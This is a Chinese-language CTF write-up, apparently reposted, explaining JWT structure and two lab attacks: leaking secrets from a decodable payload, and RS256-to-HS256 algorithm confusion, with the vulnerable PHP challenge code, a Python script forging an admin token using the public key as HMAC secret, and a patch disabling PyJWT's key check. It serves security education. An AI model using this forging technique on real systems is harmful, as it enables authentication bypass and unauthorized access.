您現在的位置是:首頁 > 飲食

解析JWT實操過程(一)

由 合天網安實驗室 發表于 飲食2023-01-08
簡介>簡單的看一下,大致意思就是當以使用者名稱為admin,mima不是$flag時,此時登入後jwt中payload的role是guest,而只有當role為admin時才能夠得到Flag,所以我們這裡肯定是需要偽造jwt的,我們先以a

array在python中什麼意思

前言

在2022祥雲杯時遇到有關jwt的題,當時沒有思路,對jwt進行學習後來對此進行簡單總結,希望能對正在學習jwt的師傅們有所幫助。

jwt

jwt

,它是一種用於通訊雙方之間傳遞安全資訊的簡潔的、URL安全的表述性宣告規範,是一種標準化的格式,用於在系統之間傳送經過加mi簽名的JSON資料,理論上可以包含任何型別的資料,但最常用於傳送關於使用者的資訊(“宣告”),以進行身份認證、會話處理和訪問控制。

簡單瞭解了它的定義後,我們接下來來看一下jwt的組成部分它分為三個部分,如下所示

1、Headers:頭部2、Payload:有效載荷3、Signature:簽名

這三個部分以

符號來連線

Headers

Headers

通常由兩部分組成,

令牌的型別

簽名演算法

,常見的演算法有很多種,例如

HMAC SHA256

RSA

。但它也還有一個

kid

引數,這是一個可選引數,全稱是

key ID

,它用於指定加mi演算法的密miyao。

示例如下

ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9

這就是一個

Headers

,當我們對它進行Base64解碼就可以看到它的具體內容,具體如下

{ “alg”: “HS256”, “typ”: “jwt”}

alg

指的就是演算法,這裡的演算法就是

HS256

typ

指的是令牌型別。這裡需要說明一點,就是明文在加mi時其實採用的是

Base64URL

加mi,這種加mi方式並非

Base64encode

+

URLencode

,而是對一些特殊字元進行了替換,具體說明如下

jwt 作為一個令牌,有些場合可能會放到 URL(比如 api。example。com/?token=xxx)。Base64有三個字元+、/和=,在 URL 裡面有特殊含義,所以要被替換掉:=被省略、+替換成-,/替換成_ 。這就是 Base64URL 演算法。

Payload

有效載荷就是存放有效資訊的地方,其中包含宣告。宣告包含三個部分 1、

已註冊宣告

這個部分的話就是已經預先定義過的宣告,常見的宣告主要有以下幾種

iss: jwt簽發者sub: jwt所面向的使用者aud: 接收jwt的一方exp: jwt的過期時間,這個過期時間必須要大於簽發時間nbf: 定義在什麼時間之前,該jwt都是不可用的。iat: jwt的簽發時間jti: jwt的唯一身份標識,主要用來作為一次性token,從而回避重放攻擊。

2、

公共的宣告

這些可以由使用 jwt 的人隨意定義,一般用於新增使用者的相關資訊或其他業務需要的必要資訊。但不建議新增mingan資訊,因為該部分在客戶端可進行解碼。3、

私有的宣告

這些是為在同意使用它們的各方之間共享資訊而建立的自定義宣告,私有宣告是提供者和消費者所共同定義的宣告,一般不建議存放mingan資訊。

示例如下

ewoJInN1YiI6ICJhZG1pbiIsCiAgICAidXNlcl9yb2xlIiA6ICJhZG1pbiIsCiAgICAiaXNzIjogImFkbWluIiwKICAgICJpYXQiOiAxNTczNDQwNTgyLAogICAgImV4cCI6IDE1NzM5NDAyNjcsIAogICAgIm5iZiI6IDE1NzM0NDA1ODIsIAogICAgImp0aSI6ICJkZmY0MjE0MTIxZTgzMDU3NjU1ZTEwYmQ5NzUxZDY1NyIgICAKfQ

進行

base64URL

解碼,結果如下

{ “sub”: “admin”, //jwt所面向的使用者 “user_role” : “admin”, //當前登入使用者 “iss”: “admin”, //該jwt的簽發者,有些是URL “iat”: 1573440582, //簽發時間 “exp”: 1573940267, //過期時間 “nbf”: 1573440582, //該時間之前不接收處理該Token “jti”: “dff4214121e83057655e10bd9751d657” //Token唯一標識}

Signature

由於頭部和有效載荷以明文形式儲存,因此,需要使用簽名來防止資料被篡改。所以這部分是一個簽證資訊,這個簽證資訊由三部分組成

1、header (base64URL編碼)2、payload (base64URL編碼)3、secret(miyao)

它的計算方式如下

Signature=HMACSHA256(base64UrlEncode(header) + “。” +base64UrlEncode(payload),secret)//假設這裡是HS256演算法,如果是其他演算法的話開頭設定為其他演算法即可

現在瞭解了jwt的大致作用和其組成,接下來來學習一下jwt攻擊。

【——幫助網安學習,需要網安學習資料關注我,私信回覆“資料”免費獲取——】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集(含答案)

⑧ APP客戶端安全檢測指南(安卓+IOS)

jwt 攻擊

jwt攻擊有多種情況,現在來對其進行逐一講解。

mingan資訊xielou

jwt保證的是資料傳輸過程中的完整性而不是機密性。

因為jwt的

payload

部分是使用

Base64url

編碼的,所以它其實是相當於明文傳輸的,當

payload

中攜帶了

mingan

資訊時,我們對

payload

部分進行

Base64url

解碼,就可以讀取到

payload中

攜帶的

mingan

資訊。

靶場演示

題目描述如下

jwt的頭部和有效載荷這兩部分的資料是以明文形式傳輸的,如果其中包含了mingan資訊的話,就會發生mingan資訊xielou。試著找出FLAG。格式為 flag{}

進入環境後發現一個登入框

解析JWT實操過程(一)

隨便輸入zhanghao mima,登入後發現介面如下

解析JWT實操過程(一)

檢視此時的jwt

解析JWT實操過程(一)

想到題目中說頭部和載荷可能會有敏感洩露,將值取出分別進行

Base64URL

解碼

解析JWT實操過程(一)

兩處拼接一下,得到

ctfhub{bb89d985db8cea6a2f2d34cb}

演算法修改攻擊

首先來簡述一下jwt中兩個常用的加

mi

演算法

HMAC(HS256):是一種對稱mi演算法,使用秘密miyao對每條訊息進行簽名和驗證RSA(RS256):是一種非對稱mi演算法,使用私yaomi明文,公yao解mi。

從上面不難看出,

HS256

自始至終只有一個miyao,而

RS256

是有兩個miyao的。在通常情況下,

HS256

的miyao我們是不能取到的,

RS256

的miyao也是很難獲得的,

RS256

的的公yao相對較容易獲取,但無論是

HS256

加mi還是

RS256

加mi,都是無法實現偽造

jwt

的,但當我們修改

RSA256

演算法為

HS256

演算法時,後端程式碼會使用公yao作為miyao,然後用

HS256

演算法驗證簽名,如果我們此時有公yao,那麼此時我們就可與實現

jwt

的偽造。

靶場演示

題目描述

有些jwt庫支援多種mima演算法進行簽名、驗籤。若目標使用非對稱mima演算法時,有時攻擊者可以獲取到公yao,此時可透過修改jwt頭部的簽名演算法,將非對稱mima演算法改為對稱mima演算法,從而達到攻擊者目的。

進入環境後發現題目程式碼

class jwtHelper { public static function encode($payload=array(), $key=‘’, $alg=‘HS256’) { return jwt::encode($payload, $key, $alg); } public static function decode($token, $key, $alg=‘HS256’) { try{ $header =jwtHelper::getHeader($token); $algs = array_merge(array($header->alg, $alg)); return jwt::decode($token, $key, $algs); } catch(Exception $e){ return false; } } public static function getHeader($jwt) { $tks = explode(‘。’, $jwt); list($headb64, $bodyb64, $cryptob64) = $tks; $header = jwt::jsonDecode(jwt::urlsafeB64Decode($headb64)); return $header; }}$FLAG = getenv(“FLAG”);$PRIVATE_KEY = file_get_contents(“/privatekey。pem”);$PUBLIC_KEY = file_get_contents(“。/publickey。pem”);if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’) { if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) { $token = “”; if($_POST[‘username’] === ‘admin’ && $_POST[‘password’] === $FLAG){ $jwt_payload = array( ‘username’ => $_POST[‘username’], ‘role’=> ‘admin’, ); $token = jwtHelper::encode($jwt_payload, $PRIVATE_KEY, ‘RS256’); } else { $jwt_payload = array( ‘username’ => $_POST[‘username’], ‘role’=> ‘guest’, ); $token = jwtHelper::encode($jwt_payload, $PRIVATE_KEY, ‘RS256’); } @setcookie(“token”, $token, time()+1800); header(“Location: /index。php”); exit(); } else { @setcookie(“token”, “”); header(“Location: /index。php”); exit(); }} else { if(!empty($_COOKIE[‘token’]) && jwtHelper::decode($_COOKIE[‘token’], $PUBLIC_KEY) != false) { $obj = jwtHelper::decode($_COOKIE[‘token’], $PUBLIC_KEY); if ($obj->role === ‘admin’) { echo $FLAG; } } else { show_source(__FILE__); }}?>

簡單的看一下,大致意思就是當以使用者名稱為

admin

mima

不是

$flag

時,此時登入後

jwt

payload

role

guest

,而只有當

role

admin

時才能夠得到Flag,所以我們這裡肯定是需要偽造

jwt

的,我們先以

admin

為使用者名稱,隨便輸入

mima

登入一下此時得到

jwt

,將其拿去解mi一下

解析JWT實操過程(一)

發現加

mi

方式是RS256非對稱加

mi

,想到在登入時,下方給出了公

yao

解析JWT實操過程(一)

所以這裡就可以嘗試更改演算法為

HS256

,以公yao作為miyao來進行簽名和驗證,因此我們構造一個偽造

jwt

的指令碼,內容如下

import jwtimport base64public =“”“——-BEGIN PUBLIC KEY——-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqizf1rnxqfeyCAp52TQO3uEyeB1HzqqbO8FBHWqLlhgmyPFqaopXVhZryzP+Sd6a3iQd8xeD7URswPHE4roAkbI1GMta9zAdD1yPtp//JNZ55hx1iFY2n9gw2u8VL64n9sCc56H46L3W52Z37kvWq5LuoLAuyJpP7Ofadt7biWaeXibZGQjPwlbCy31DyxdDFCt8pVrajVI97w3amHBUXhd0Ku+DOq9hjadtQbTkbIkAUR84yqt+25EXd/rg1w8we9ysNcTjAeUayRGPuQmXUWJaFpsvuL7WeUb2xJqvieFwsCQppS1ZgaoRc0F835K+G3s3qWRi4AnvZxryfTzlawIDAQAB——-END PUBLIC KEY——-”“”payload={ “username”: “admin”,“role”: “admin”}print(jwt。encode(payload, key=public, algorithm=‘HS256’))

此時執行完後發現報錯

解析JWT實操過程(一)

這個是因為原始碼中進行了校驗,我們簡單設定一下即可,原始碼檔案地址如下

/usr/lib/python3/dist-packages/jwt/algorithms。py

我們在它的校驗前面增加這樣一句話

invalid_strings=[]

解析JWT實操過程(一)

此時儲存退出,再執行檔案即可得到新jwt

解析JWT實操過程(一)

將新的JWT拿到網站中替換舊的JWT,重新整理網站即可得到flag

解析JWT實操過程(一)

推薦文章